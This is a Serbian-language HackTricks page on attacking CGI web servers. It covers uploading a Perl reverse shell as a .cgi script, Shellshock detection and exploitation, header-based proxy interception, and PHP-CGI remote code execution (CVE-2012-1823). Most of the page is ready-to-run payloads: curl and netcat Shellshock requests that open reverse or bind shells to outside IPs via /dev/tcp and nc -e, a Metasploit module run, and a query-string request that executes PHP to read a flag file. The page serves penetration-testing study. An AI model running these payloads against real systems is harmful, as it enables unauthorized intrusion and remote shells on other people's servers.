CGI

Support HackTricks

Informacije

CGI skripte su perl skripte, tako da, ako ste kompromitovali server koji može izvršavati .cgi skripte, možete učitati perl reverznu ljusku (/usr/share/webshells/perl/perl-reverse-shell.pl), promeniti ekstenziju iz .pl u .cgi, dati dozvole za izvršavanje (chmod +x) i pristupiti reverznoj ljusci iz web pregledača da biste je izvršili. Da biste testirali za CGI ranjivosti, preporučuje se korišćenje nikto -C all (i svih dodataka)

ShellShock

ShellShock je ranjivost koja utiče na široko korišćeni Bash komandni interfejs u Unix-baziranim operativnim sistemima. Cilja sposobnost Basha da izvršava komande koje prosleđuju aplikacije. Ranjivost leži u manipulaciji promenljivim okruženja, koje su dinamičke imenovane vrednosti koje utiču na to kako procesi rade na računaru. Napadači mogu iskoristiti ovo tako što će prikačiti zloćudni kod na promenljive okruženja, koji se izvršava prilikom primanja promenljive. Ovo omogućava napadačima da potencijalno kompromituju sistem.

Iskorišćavanjem ove ranjivosti stranica može prikazati grešku.

Možete pronaći ovu ranjivost primetivši da koristi staru verziju Apachija i cgi_mod (sa cgi folderom) ili koristeći nikto.

Test

Većina testova se zasniva na eho nečega i očekuje da se taj string vrati u web odgovoru. Ako mislite da bi stranica mogla biti ranjiva, pretražite sve cgi stranice i testirajte ih.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflektovani, slepi i van-banda)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Eksploatacija

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM do zahteva veb servera)

CGI kreira promenljivu okruženja za svaki header u http zahtevu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com"

Kao što se HTTP_PROXY promenljiva može koristiti od strane veb servera. Pokušajte da pošaljete header koji sadrži: "Proxy: <IP_napadača>:<PORT>" i ako server izvrši bilo koji zahtev tokom sesije. Moći ćete da uhvatite svaki zahtev koji server napravi.

Stari PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

U suštini, ako je cgi aktivan i php je "stari" (<5.3.12 / < 5.4.2) možete izvršiti kod. Da biste iskoristili ovu ranjivost, potrebno je da pristupite nekom PHP fajlu veb servera bez slanja parametara (posebno bez slanja karaktera "="). Zatim, da biste testirali ovu ranjivost, mogli biste pristupiti na primer /index.php?-s (obratite pažnju na -s) i izvorni kod aplikacije će se pojaviti u odgovoru.

Zatim, da biste dobili RCE možete poslati ovaj poseban upit: /?-d allow_url_include=1 -d auto_prepend_file=php://input i PHP kod koji treba da se izvrši u telu zahteva. Primer:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Više informacija o ranjivosti i mogućim eksploatacijama: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Primer Primerak.

Podržite HackTricks

Last updated